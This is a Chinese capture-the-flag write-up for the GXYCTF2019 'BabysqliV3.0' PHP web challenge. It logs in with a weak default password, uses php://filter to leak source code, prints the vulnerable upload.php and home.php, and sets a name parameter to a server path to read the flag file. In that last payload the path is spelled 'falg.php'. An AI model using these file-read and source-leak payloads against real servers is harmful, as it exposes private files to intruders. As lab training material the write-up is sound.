题目:
- [GXYCTF2019] BabysqliV3.0 1

WP:
打开题目,尝试弱口令登陆:
admin/password
登录成功,发现上传,可以看出来是一个文件上传的题目,点击右键查看源代码,未发现有效信息,在地址栏发现?file=upload,从此处猜测应该是需要构造一个伪协议。从题目上来说,需要查看源码进行代码审计,于是构造一个payload:
?file=php://filter/convert.base64-encode/resource=upload.php

发现.php会被替换成.fxxkyou,并且程序会自动添加PHP,尝试替换为upload
``?file=php://filter/convert.base64-encode/resource=upload`

获取Base64编码解码
Upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data"> 上传文件 <input type="file" name="file" /> <input type="submit" name="submit" value="上传" /> </form>
<?php error_reporting(0); class Uploader{ public $Filename; public $cmd; public $token;
function __construct(){ $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $ext = ".txt"; @mkdir($sandbox, 0777, true); if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; }
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';"; $this->token = $_SESSION['user']; }
function upload($file){ global $sandbox; global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){ $this->cmd = "die('illegal filename!');"; } else{ if($file['size'] > 1024){ $this->cmd = "die('you are too big (′▽`〃)');"; } else{ $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; } } }
function __toString(){ global $sandbox; global $ext; // return $sandbox.$this->Filename.$ext; return $this->Filename; }
function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } eval($this->cmd); } }
if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); } }
?>
|
home.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php session_start(); echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>"; error_reporting(0); if(isset($_SESSION['user'])){ if(isset($_GET['file'])){ if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){ die("hacker!"); } else{ if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){ $file = $_GET['file'].".php"; } else{ $file = $_GET['file'].".fxxkyou!"; } echo "当前引用的是 ".$file; require $file; } } else{ die("no permission!"); } } ?>
|
审计代码发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| .......... if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } .......... if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); } } ..........
|
审计源码其中有file_get_contents($uploader)方法,读取文件内容。根据源码分析,网站目录下有一个文件为flag.php,我们可以利用@file_get_contents($uploader),读取flag文件,而且, 源码中没有对flag进行过滤,因此可以通过将Filename参数改为flag来读取flag信息.
构造Payload:
?file=upload&name=/var/www/html/falg.php

获得Flag
flag{67518dcd-0155-4032-a231-05bb2b52ca5b}